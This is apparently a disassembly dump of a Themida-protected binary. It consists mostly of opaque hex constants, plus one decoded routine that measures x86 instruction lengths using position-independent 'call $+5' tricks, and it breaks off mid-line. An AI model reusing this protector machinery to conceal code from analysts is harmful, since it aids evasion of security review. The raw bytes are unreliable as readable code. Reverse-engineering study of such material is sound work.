9BC18D8Dh, 6A0630h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 1D1732C3h, 8D89914Ah, 62B0EE1h dd 830F60h, 81000000h, 0B53505CFh, 0B5896174h, 62B3089h dd 21E185C7h, 5DC4062Bh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0C79144C3h, 2B2BE585h dd 6, 0C9958B00h, 0FF062B08h, 2B1D15B5h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 86A754EBh, 9E90E1Bh, 7A000000h, 0D2F850EFh, 0BFFD9D19h dd 273195FFh, 6A062Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0B68F13C3h, 46AA7FE1h, 3481BD29h dd 6A062Bh, 294595FFh, 0C08B062Bh, 508F0FEBh, 0B7959458h dd 454F67DBh, 0CAAF6311h, 0DC125859h, 0F8BE2C1Fh, 0BA629D2Bh dd 0AE70B3F2h, 0D2340B06h, 3715C7Ah, 408485FCh, 3E845981h dd 0AEF06433h, 0AA04AAD1h, 2896F1Dh, 2325D39h, 37FBE3Ch dd 11DC9D33h, 7E34CE33h, 0FD2C5C7Eh, 0A8880453h, 0DF5F92F7h dd 69179E1h, 13DD20A4h, 0AC343B33h, 0B18CBC51h, 0FFAFC876h dd 66A785h, 5985F90Eh, 0B93069h, 0FDCEC33h, 55347633h dd 0FE82B845h, 8A0AC439h, 0BC465116h, 40F95CA6h, 2A89306Ch dd 332F22Ch, 318683Ch, 0EACC7633h, 3343850h, 0EB669D59h dd 334CE30h, 59F73D13h, 710E7BAh, 7109DB2h, 334EC28h, 34F72471h dd 0E1B8F1DBh, 0CEDD3ECh, 86B90784h, 504FCC6h, 0EB67B359h dd 334D930h, 58F7B713h, 7102ABAh, 7107FB2h, 3349D2Eh, 0D2F79D70h dd 119A3ACBh, 3577FDDAh, 5AE6595Dh, 331633Ch, 0DF8D7633h dd 931BAECAh, 193F0B8Ah, 843B9E0Ch, 3346736h, 8A0748Dh dd 0D2BF490Ah, 98E369BEh, 35E7003h, 337D362h, 5A149D33h dd 4FBD97F0h, 47B56317h, 328B717h, 5275D933h, 626C1FF0h dd 890C8DCCh, 53645576h, 2730146Ch, 0B9529C62h, 5C6EF8CEh dd 0FCFE0C3Ch, 2828B8A6h, 5B5E335h, 82347633h, 79DA59E9h dd 69F41643h, 0DC9833h, 23346733h, 8A6A706Dh, 8230FD47h dd 1F30C877h, 45347633h, 0AC87F865h, 71733EE9h, 63ADC850h dd 350D855h, 334A3DBh, 0D48CD33h, 99B5D292h, 3487DEDDh dd 35A265FBh, 0FCFA1CE8h, 5961B512h, 0FA89E452h, 3329832h dd 0BEB7D046h, 51FFABAh, 532D0233h, 0BBF4B060h, 3349949h dd 18B54BBAh, 9EB96118h, 5190C46h, 5B6F0ACCh, 15BD51B0h dd 77347018h, 0BB676B24h, 3349949h, 18B54BBAh, 9EB96118h dd 5190F57h, 5B6F0ACCh, 334FEDAh, 9047BD33h, 3B897CD7h dd 0F54EA85Fh, 6A2FB9FEh, 54AB2D58h, 827F7D8Ah, 0C3BF8738h dd 33D6E3Ch, 843B7633h, 3343B30h, 8EFC2A3Ch, 33AF11AEh dd 53340D35h, 334B0DBh, 0C06CF933h, 2770656Bh, 2770F737h dd 3342337h, 0C064DD33h, 0EC97CCC0h, 0C1B49ED0h, 0DDB13EB3h dd 6932E9B9h, 0DCB933h, 23347633h, 8A69F86Eh, 8230B95Fh dd 1B30EA77h, 46346733h, 0A67F7066h, 0C662908h, 0D1B5238Ch dd 11BF06D9h, 0D2BEEBCCh, 873B5D38h, 334CE26h, 8EC7D83Ch dd 287A12AEh, 3376135h, 848AEC33h, 0FC2B605Dh, 0E4A9B6D0h dd 6932ADA8h, 0DC9F33h, 23346733h, 8A6D706Ah, 8230FD7Fh dd 1430C877h, 42347633h, 0F079F862h, 0EA66F390h, 334CE3Bh dd 0EF2C0EE5h, 0B11644D4h, 0ADDB969h, 5134EC33h, 526F8EDCh dd 969C8B71h, 86B9FCC6h, 50444EDh, 0AE3E655h, 88E44CBDh dd 0CF4D2C4h, 3347FB7h, 0A2A9FB33h, 5532107Dh, 0BEAA44B2h dd 0BB6AEC09h, 3346732h, 0EB66B359h, 334D930h, 59F7B613h dd 71022BAh, 7107FB2h, 3349D2Fh, 21F79C71h, 0CC24CA1Eh dd 90B606B1h, 3203053h, 1869EC33h, 79D8AB8Ch, 9E1A9414h dd 8B34E9Fh, 0E946E2D4h, 9DDCA21h, 0C634B333h, 92BA7772h dd 0A920B513h, 0EDC173Eh, 79343B33h, 0B0C45F28h, 8149FEACh dd 0D28E86B8h, 334B5DBh, 29D6C033h, 0EA2CA84Fh, 3347635h dd 38DC65F1h, 5C6A7166h, 8B3B2DCCh, 3346733h, 98D82EBEh dd 12DCDF03h, 0AE34EC33h, 3BD486AAh, 939E228Ah, 0C8F86DC6h dd 0C004EB93h, 0DDB1EA6Ah, 693283B9h, 0DC8B33h, 2334EC33h dd 8A6EB569h, 82301F67h, 1B30B977h, 4134CE33h, 5E8AA461h dd 0EA26C1B7h, 334D93Fh, 4B369A74h, 5BC6623h, 5C0CED93h dd 0F1B44DCCh, 0CF4C53Bh, 33471B7h, 0D383BC33h, 4D9544BEh dd 8CEA18h, 82347633h, 63932AD5h, 40D76263h, 3344C3Ch dd 0BEB96733h, 50428E6h, 9CDA54BEh, 7E8CEA03h, 30BE3D6Fh dd 2834A2B6h, 0C2FBB635h, 0E4A9B6DAh, 6932ADA8h, 0DC9F33h dd 23346733h, 8A6D706Ah, 8230FD7Fh, 0E983C877h, 8BA4F305h dd 0F28B66C0h, 8B6050F8h, 8B5E61D7h, 0D6BF0FC3h, 81C08BFCh dd 92BD44EEh, 0F9BD834Ah, 62B01h, 0BD830975h, 62B1689h dd 50197400h, 0B8C08B53h, 47Ah, 34798589h, 9D8D062Bh, 62DBFDCh dd 585BD3FFh, 1689BD83h, 7400062Bh, 0B8535017h, 47Ah, 34798589h dd 9D8D062Bh, 62DBC7Dh, 585BD3FFh, 0FE8h, 52360F00h, 0D67CFC69h dd 4FC0E93Ch, 0DD746484h, 2850Fh, 61600000h, 37DE815Eh dd 8B502CA2h, 266E9C0h, 66600000h, 0C1F6D98Ch, 35840F04h dd 6A000000h, 1DB5FF01h, 8D062B0Bh, 2E83EB85h, 89D0FF06h dd 2B354585h, 0C1FE8B06h, 680CEFh, 6A200600h, 57026A00h dd 1000D68h, 4595FF00h, 0E9062B35h, 32h, 332D85C6h, 6856062Bh dd 0A9C530DFh, 1BDDB5FFh, 858D062Bh, 62E83EBh, 8589D0FFh dd 62B1B95h, 2A5858Dh, 6A50062Bh, 56056A40h, 1B9595FFh dd 0C361062Bh, 3 dup(0) dd 60D48B52h, 8908428Bh, 30A11885h, 0C428B06h, 0A1108589h dd 428B0630h, 14858910h, 8D0630A1h, 30A14EB5h, 0A1858D06h dd 0FF005B8Eh, 0C25A61D0h, 0B58B000Ch, 630A118h, 0A110858Bh dd 0BD830630h, 630A114h, 7840F00h, 89000000h, 2E906h, 6880000h dd 0CFh, 0 dd 0D48B5200h, 8428B60h, 0A1188589h, 0B58D0630h, 630A19Fh dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 630A118h, 8B0004C2h dd 30A11885h, 89008B06h, 30A11885h, 0CF06h, 89600000h dd 30A175B5h, 71858906h, 8D0630A1h, 2B0F2585h, 44408B06h dd 0A1AE8589h, 0B58D0630h, 630A1E4h, 8EA1858Dh, 0D0FF005Bh dd 75858B61h, 0C30630A1h, 0A1719D8Bh, 0B70F0630h, 0D8033C43h dd 3785B8Bh, 30A1719Dh, 24738B06h, 0A171B503h, 8B560630h dd 738B207Bh, 71BD031Ch, 30630A1h, 30A171B5h, 0C983FC06h dd 9D8B41FFh, 630A175h, 9503178Bh, 630A171h, 8A04C783h dd 0FC08402h, 0F84h, 0F033A00h, 0FFFFDC85h, 0E94243FFh dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h dd 85038604h, 630A171h, 0A1758589h, 0F08B0630h, 0C18BCE8Bh dd 0A1AEBD81h, 630h, 850FC030h, 0Dh, 2514E8C1h, 0FFCh dd 8E9h, 12E8C100h, 3FF825h, 0AEBD8B00h, 830630A1h, 8B06070Ch dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 0A1AEBD81h, 630h dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h dd 0AEBD8100h, 630A1h, 0FC03000h, 0E84h, 3FF82500h, 808B0000h dd 0C0600000h, 0CF060883h, 0A11C858Dh, 85890630h, 62B09C5h dd 0A1B2858Dh, 85890630h, 62B2C29h, 0A179858Dh, 85890630h dd 62B2A39h, 9E8h, 40CC9700h, 52853746h, 11E98C16h, 0C3000000h dd 8322AEEDh, 43C16182h, 0CB6C6613h, 0EB857680h, 8194B359h dd 68A3C1h, 0DE900h, 6CCA0000h, 780AF2EFh, 0A72B5B7Ah dd 0BA391B67h, 0 dd 0A34FFF9h, 0E881F858h, 49A79CFEh, 61DB8166h, 39C08154h dd 81781B4Ah, 414206F0h, 38F0F24h, 0F000000h, 489F0BFh dd 6E911h, 18AF0000h, 0EE9F7142h, 28D0Fh, 0FE8B0000h, 6004EA83h dd 0FABF0F60h, 0EE9h, 161FC000h, 2BC48BF7h, 0C1B091FEh dd 612D423Ch, 178D0Fh, 12E90000h, 8F000000h, 0B1F8BD0h dd 0CF9D635Fh, 4390C8A9h, 68DFEC50h, 0FA8161D3h, 0FFFF9844h dd 18850Fh, 71BF0000h, 0E9478CCBh, 20h, 0CC4A26AEh, 4DE2805h dd 5C8E138Bh, 81663CB5h, 0E929F5EFh, 0FFFFFF5Dh, 0FEB8DDh dd 0A6F74B90h, 13CE9h, 4Fh dup(0) dd 3DBD8300h, 1062B1Fh, 502840Fh, 0C6F50000h, 2B332D85h dd 890F4306h, 6, 0B70FFC60h, 506861FFh, 50C3A77Ch, 840F6052h dd 0 dd 61F08B66h, 6060310Fh, 61F38B61h, 3481585Ah, 2ACA524h dd 830FF82Fh, 1, 0DDB5FFF8h, 0E9062B1Bh, 9, 101F6A86h dd 2CACA8A1h, 0EB858D81h, 60062E83h, 28C0Fh, 0FA8B0000h dd 61C9BF0Fh, 0E8C0Fh, 9E90000h, 84000000h, 890ACD5Bh dd 3A4A3C09h, 12E9D0FFh, 0AD000000h, 1DD01140h, 1B5172DDh dd 0AD07E373h, 0D91CFA32h, 218589BAh, 6A062B1Eh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 476DC351h, 0FF811DACh, 6F92AFDBh, 18B0FF9h, 0F9000000h dd 332D85C6h, 0F950062Bh, 0F7BF0F60h, 0FE9h, 718E4E00h dd 2EA4293h, 0B0B5C834h, 0A21B1AE5h, 98946861h, 566077CFh dd 0E88BF66h, 74BE665Fh, 48161D1h, 0DE14C224h, 0B5FFFC30h dd 62B1BDDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0C5C35343h, 850FE804h, 1, 0EB858DFCh, 0E9062E83h dd 7, 554FF78Ah, 0FFE88208h, 7890FD0h, 60000000h, 0B70FD68Bh dd 858961F1h, 62B28E5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 33C35040h, 80247884h, 0C78B6089h, 5F50F860h dd 72686161h, 6094CFF2h, 12E8h, 5529A00h, 67A8921Eh, 9B6072F2h dd 0D812B786h, 50A5BB19h, 5A310F52h, 0BA665E58h, 81618244h dd 0B5BD2404h, 8A0F5BBFh, 1, 0DDB5FFFCh, 0F062B1Bh, 1A82h dd 0C7BE6000h, 0E8780D16h, 0Dh, 27E80A02h, 0AC7CD2ADh dd 42CA7E00h, 8D615B3Bh, 2E83EB85h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 7850F13h, 0F000000h dd 18Ch, 0D0FFFC00h, 10E960h, 0AC550000h, 1D8F40CBh, 0B23C9172h dd 152623E1h, 0D9815080h, 4785BEC3h, 11858961h, 0E9062B0Dh dd 9, 7A5440CAh, 0AF13DAFFh, 2D85C6BAh, 50062B33h, 5E5060F5h dd 850Fh, 0E8610000h, 4, 979CDC56h, 0E8605250h, 8, 4074A9F3h dd 0E4351E5Eh, 615B565Fh, 5060310Fh, 5A310F52h, 0E494BF58h dd 5A616330h, 10E95058h, 85000000h, 5F48674Eh, 0B9068386h dd 62A959EFh, 8B76994Bh, 0F042444h, 1981h, 14E900h, 1DE0000h dd 0EF7AE4E8h, 19D2F850h, 4FBFFD9Dh, 618AEC0Dh, 8B00B9h dd 0FE9h, 0FEA05E00h, 8C84B738h, 0D3CA4994h, 0E953F505h dd 4244489h, 0FE960h, 10B00000h, 0DA75EDE8h, 8E58AA11h dd 16CFE49Bh, 0DE867h, 908D0000h, 95387CDEh, 0D0273573h dd 60B91A53h, 58615A61h, 6621B360h, 6175C5BFh, 0B1DB5FFh dd 8DFC062Bh, 2B3C2585h, 0B70F6006h, 0D38B66C6h, 0B70F6061h dd 85C780F6h, 60D0FF61h, 858961F5h, 62B161Dh, 0C4EA8060h dd 57D9F381h, 0E96147C9h, 1C8h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0BAC35242h, 0F8E0B00Ah, 50905FC2h dd 18B0Fh, 0FF90000h, 182h, 95F5F800h, 10E9h, 9009F500h dd 0D2A22EDAh, 0AD972BEBh, 0B51C2C2h, 0E86050B9h, 0Ah dd 4F525438h, 3EB2F386h, 8B669B2Ch, 956159F2h, 0EE9h, 1541FA00h dd 38198781h, 88F9BE88h, 8B28C3A9h, 53006AECh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 5FB7498Bh dd 60CD587Fh, 0E9816660h, 0EFBAA779h, 6140E59Fh, 0CE9h dd 0D8B4C900h, 47475E9Bh, 634A77A6h, 0C483619Eh, 61F960FCh dd 0E8F860F8h, 0 dd 60EA815Ah, 0C70630A9h, 0FC45h, 0BA830000h, 62B1F3Dh dd 98840F01h, 52000000h, 0F6A006Ah, 1E2192FFh, 895A062Bh dd 30A41982h, 1D9A8D06h, 520630A4h, 12803C7h, 50530000h dd 28E592FFh, 525A062Bh, 0A41D9A8Dh, 0FF530630h, 30A419B2h dd 1D92FF06h, 5A062B16h, 5074C00Bh, 0A41D9A8Dh, 7B8D0630h dd 81C93324h, 104F9h, 41D47400h, 2E393C81h, 75455845h dd 39348DEEh, 8D0C752Bh, 2B02F9BAh, 0C4D8B06h, 0C032A4F3h dd 75FF52AAh, 0F9828D08h, 50062B02h, 0D1192FFh, 0B5A062Bh dd 0C7A075C0h, 1FC45h, 7EB0000h, 0FC45C7h, 61000000h, 0C9FC458Bh dd 6A0008C2h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 201EC352h, 1EB8FD6Ch, 0BA275FAFh dd 5660F9F8h, 8BECCF81h, 0E85A1954h, 10h, 1228296Eh, 2871F593h dd 8076D58Ah, 0ACA70A2Bh, 615BF98Bh, 8D8DD28Bh, 630AB34h dd 0A581BF66h, 0EE18D89h, 0F480062Bh, 6810FE6h, 8B000000h dd 2B34A985h, 0E185C706h, 0FC062B21h, 6A000073h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 2035C352h, 0BF0A465Dh, 774A9527h, 85C744B4h, 62B2BE5h dd 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FAC35242h dd 12E9h, 8DBDFA00h, 0D1600813h, 7126F7CBh, 44D79DBBh dd 0FFF02795h, 2B0D25B5h, 0E2CF8106h, 0FF76E608h, 2B273195h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 91BE8A6Fh, 813C2A64h, 0ADA981D6h, 0FF006A78h dd 2B294595h, 0EBC08B06h, 63BDA84Bh, 0AD96F7BBh, 0F97C550Bh dd 132E4DEEh, 52D54EA3h, 9B2DD886h, 0B13A9F5Dh, 0E4717948h dd 87C32E7Dh, 868A5BBBh, 1EA202C0h, 0C2A9F9D1h, 39F3A3E6h dd 0DDF77A1h, 152CA0FCh, 74B3F74Eh, 0F48B4712h, 0C77B1AC5h dd 0F48D0408h, 1C8E9h, 8 dup(41888800h), 4 dup(0) dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h dd 0 dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h dd 88888808h, 88h, 0 dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0 dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0) dd 100h, 14h dup(0) dd 6380C300h, 7577EDh, 100h, 11h dup(0) dd 353E900h, 0E8550000h, 0 dd 5CED815Dh, 600630ADh, 0ACA985C7h, 630h, 81660000h, 0FA1663Eh dd 0F85h, 0AD85C700h, 60630ACh, 0E9000000h, 24h, 0ACB1858Dh dd 8D500630h, 30AD0185h, 6A565006h, 1DE800h, 0C4830000h dd 0FF2510h, 85890000h, 630ACADh, 0ADB50361h, 8B0630ACh dd 30ACA985h db 6, 5Dh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_597490 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_59749C ; --------------------------------------------------------------------------- loc_597490: ; CODE XREF: Themida_:00597479j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_59749C: ; CODE XREF: Themida_:0059748Bj push ebx push esi push edi loc_59749F: ; CODE XREF: Themida_:005974F4j ; Themida_:00597510j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5974B2: ; CODE XREF: Themida_:005974D9j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 630AE13h lea ebp, [ebp+630AC89h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5974DF inc cl cmp cl, 0Bh jb loc_5974B2 loc_5974DF: ; CODE XREF: Themida_:005974CEj cmp cl, 0Bh jz loc_59753C cmp al, 66h jnz loc_59751D cmp byte ptr [ebp-5], 0 jnz loc_59749F cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_597515 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_59749F ; --------------------------------------------------------------------------- loc_597515: ; CODE XREF: Themida_:00597502j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_59751D: ; CODE XREF: Themida_:005974EAj cmp al, 67h jnz loc_59749F cmp byte ptr [ebp-6], 0 jnz loc_59749F xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_59749F ; --------------------------------------------------------------------------- loc_59753C: ; CODE XREF: Themida_:005974E2j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_597568 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_59756D ; --------------------------------------------------------------------------- loc_597568: ; CODE XREF: Themida_:00597547j movzx edi, al shr edi, 1 loc_59756D: ; CODE XREF: Themida_:00597563j push ebp call $+5 pop ebp sub ebp, 630AECBh lea ebp, [ebp+630AB89h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_5976EF mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_597633 dec ecx jz loc_597616 dec ecx jnz loc_597686 cmp byte ptr [ebp-2], 0 jnz loc_597682 cmp byte ptr [ebp-5], 0 jz loc_5975F5 mov byte ptr [ebp+0Bh], 2 loc_5975F5: ; CODE XREF: Themida_:005975EBj add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 630AF57h mov dword ptr [ebp+630ACA9h], 1 pop ebp jmp loc_597686 ; --------------------------------------------------------------------------- loc_597616: ; CODE XREF: Themida_:005975D0j cmp byte ptr [ebp-2], 0 jnz loc_597660 cmp byte ptr [ebp-5], 0 jz loc_597660 mov byte ptr [ebp+0Bh], 2 jmp loc_597660 ; --------------------------------------------------------------------------- loc_597633: ; CODE XREF: Themida_:005975C9j cmp byte ptr [ebp-2], 0 jnz loc_597679 cmp byte ptr [ebp-5], 0 jz loc_597668 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_597660 mov [ebp+0Bh], cl loc_597660: ; CODE XREF: Themida_:0059761Aj ; Themida_:00597624j ... inc byte ptr [ebp+0Bh] jmp loc_597686 ; --------------------------------------------------------------------------- loc_597668: ; CODE XREF: Themida_:00597641j cmp dl, 5 jnz loc_597686 mov [ebp+0Bh], dl jmp loc_597686 ; --------------------------------------------------------------------------- loc_597679: ; CODE XREF: Themida_:00597637j cmp dl, 6 jnz loc_597686 loc_597682: ; CODE XREF: Themida_:005975E1j mov byte ptr [ebp+0Bh], 3 loc_597686: ; CODE XREF: Themida_:005975D7j ; Themida_:00597611j ... dec byte ptr [ebp+0Bh] jz loc_5976B4 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_597696: ; CODE XREF: Themida_:005976ACj movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_597696 mov esi, edx loc_5976B4: ; CODE XREF: Themida_:00597689j and al, 0FEh cmp al, 0F6h jnz loc_5976E9 cmp edi, 7Fh ja loc_5976E9 test bl, 38h jnz loc_5976E9 cmp byte ptr [ebp-7], 0 jz loc_5976E3 movzx eax, byte ptr [ebp-4] jmp loc_5976E6 ; --------------------------------------------------------------------------- loc_5976E3: ; CODE XREF: Themida_:005976D4j push 1 pop eax loc_5976E6: ; CODE XREF: Themida_:005976DEj mov [ebp-1], al loc_5976E9: ; CODE XREF: Themida_:005976B8j ; Themida_:005976C1j ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_5976EF: ; CODE XREF: Themida_:00597599j mov al, bl and eax, 7 sub eax, 4 jz loc_59771A dec eax dec eax jz loc_597710 and bl, 7 add [ebp-1], bl jmp loc_597722 ; --------------------------------------------------------------------------- loc_597710: ; CODE XREF: Themida_:005976FFj mov al, [ebp-3] add al, 6 jmp loc_59771F ; --------------------------------------------------------------------------- loc_59771A: ; CODE XREF: Themida_:005976F7j mov al, [ebp-3] add al, 4 loc_59771F: ; CODE XREF: Themida_:00597715j add [ebp-1], al loc_597722: ; CODE XREF: Themida_:0059770Bj mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_59774A movzx ecx, byte ptr [ebp-1] inc ecx loc_597735: ; CODE XREF: Themida_:00597744j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_597735 loc_59774A: ; CODE XREF: Themida_:0059772Aj pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- db 8Dh, 85h, 56h dd 890630ADh, 2B070585h, 4E906h, 513D0000h, 0FCE97EA6h dd 6800000Bh, 630B266h, 0FB9F32E9h, 0B34B68FFh, 28E90630h dd 68FFFB9Fh, 630B517h, 0FB9F1EE9h, 0B62568FFh, 14E90630h dd 68FFFB9Fh, 630B86Eh, 0FB9F0AE9h, 0BA1068FFh, 0E90630h dd 68FFFB9Fh, 630BB0Bh, 0FB9EF6E9h, 77632FFh, 0FE450EE3h dd 0D01D673Ah, 89FAB95Ch, 67D29075h, 1D6BE083h, 6B0EE257h dd 4E23C728h, 9B7EB209h, 9A966ADBh, 0BE90DFD3h, 928D91EBh dd 0A7B3B83h, 0A50C548Dh, 0A10E57B4h, 50A1E136h, 12E1D5ACh dd 85E9108Bh, 9DE6094Fh, 7909B6BAh, 91F00E12h, 0EC6BDEA4h dd 9807682Bh, 0A6E5B16Eh, 0D3B86AA9h, 71A66069h, 0C4A86A13h dd 4C06BB50h, 1A7BC889h, 3A0Eh, 0C2253D00h, 80722029h dd 959DE626h, 0DC3932ADh, 75AF2094h, 6165AA55h, 0D5EA4FDh dd 7191F019h, 0FB408092h, 22A4BBCh, 71A67938h, 10C85h dd 122FD800h, 286AF832h, 3BF7562Fh, 0B45A077Bh, 0C08207F0h dd 6DAAA35Ch, 0A421DE23h, 0BEAC4928h, 6E179B54h, 0BA19AB77h dd 5B304176h, 3E2FA81Dh, 834FF785h, 29C67FC0h, 8693E207h dd 17C877BEh, 0BB02E64Fh, 0A2E8602h, 851C417Fh, 0DB5EEF39h dd 70C18197h, 0B6F35849h, 61FA2541h, 128097DBh, 97DB61A5h dd 2BEEB0B8h, 1900469h, 0A1105035h, 77E8FF36h, 0B1F05546h dd 19F33F46h, 7B9DE64Dh, 157933C2h, 5D248F55h, 1AA3470Bh dd 175F733Dh, 35B931AEh, 867D048Ah, 119D8C1Fh, 9BCE1B37h dd 0B29786CAh, 886D81F4h, 0DDF07FCAh, 0DE8AB096h, 9B71563h dd 195D0000h, 0E8A94CA0h, 0C082679Bh, 9DE4B97Dh, 7533D62Ah dd 0CE07EC00h, 6B8FFAB8h, 8C60CB96h, 0DB5FACE9h, 0F3377EC6h dd 0CF387677h, 0D291EBBDh, 7D3BEE39h, 0FB6E18Dh, 561897DBh dd 78DD85EBh, 0D951CE39h, 0A2E72455h, 5F6E4C55h, 0DDD23BA6h dd 5A3B6A60h, 688CF5BDh, 29C22523h, 26807220h, 0AD959DE6h dd 19074432h, 727B91F0h, 0FA65CE95h, 6DCE9174h, 0C693D14h dd 71A6793Ah, 0A787h, 3171D600h, 0FF440DC0h, 54B7CE40h dd 8D0A7B3Bh, 3CBB0E54h, 0DB342472h, 0BB0A4A97h, 0C2E2A247h dd 108F3382h, 2C5DCED1h, 0E6278446h, 25D9819Dh, 81EEB794h dd 9A205F0h, 0D3859200h, 0DA3F9BCEh, 0B3742799h, 17482616h dd 82B61263h, 8DF8BE9Bh, 76CE9469h, 302C5994h, 8A25A9AEh dd 8AB12221h, 0D2592712h, 70000008h, 4C21C534h, 0A578BC03h dd 0FF9296DBh, 0D6AB4FB8h, 22C12590h, 0A0155329h, 85E6A94Ch dd 70C78C61h, 2899D9BCh, 1D9158D4h, 91EBBCD2h, 3BDDCCCFh dd 11F4087Dh, 0DE096551h, 0C397DB0Fh, 0C417EB9Fh, 8D0A7B3Bh dd 0CF6E780h, 0A0216E04h, 343C97DBh, 55F2768Dh, 0BE074F4Ch dd 0B526B97Ah, 0F1B69384h, 0C951D9Ah, 0E637ECA6h, 0A651199Dh dd 2CC03171h, 0A8E90949h, 0B5A6D75Bh, 0C8A41350h, 91F0489Fh dd 7FC88F82h, 0CBB7AACBh, 0E6746DFAh, 75E2551Ch, 0E09FE2ACh dd 1F4A5837h, 94809271h, 0EC8165CCh, 0D4A25DA4h, 2746B76h dd 87F5A178h, 0DE4776BFh, 0ACAC81E4h, 76445D86h, 584FDE47h dd 79C8D231h, 0EA95DCA4h, 38781D64h, 0E0204EC9h, 8F0274BCh dd 0C502C2D0h, 0A86D347Dh, 0AB9099E8h, 3DF998EDh, 0BE074F8Ch dd 23E88901h, 0A2651263h, 5CB9A03Bh, 2C6BAE11h, 0CBAA5CDBh dd 1EE6941Ah, 7FE3F7B6h, 0E6515D4Eh, 0FBFBA069h, 0D3ACE77h dd 32D389CEh, 0F9EC9763h, 0D13B7766h, 0B3F19D91h, 0A5A3EC82h dd 8ABEFD8Bh, 2AD59DEBh, 8BA50E5Ch, 9C7972FDh, 38176ED1h dd 0E589BA6Ah, 0FD8BA5BAh, 56A5E2A7h, 0DE276FA2h, 0ACC8A921h dd 0D5CC08DAh, 42F27h, 0CC135400h, 4574E7FEh, 0E65A9729h dd 92D7CA9Dh, 8034BA25h, 0CAF64C30h, 0B72EAD20h, 738C3524h dd 0D36159CEh, 0AE86F1BDh, 0D79B4D3Fh, 5CA7EE23h, 95562FA3h dd 95E2A764h, 0D11D64EAh, 47029CCBh, 0AA535A0Eh, 0E46FE4D9h dd 47B0FEABh, 5A4B14DFh, 5C136216h, 606902E5h, 2993A432h dd 4871F941h, 1CB0F257h, 257CE057h, 2DC13070h, 0EB90848h dd 658F18AFh, 6C7B5A0h, 2C000007h, 781D1168h, 5134C837h dd 0AB4EA20Fh, 82679BECh, 0D6BD71C4h, 0FC490F7Dh, 0D11A6538h dd 8CFBB85Dh, 64CD9568h, 0C9A58480h, 91EBBA9Eh, 3B998883h dd 0E8C1077Bh, 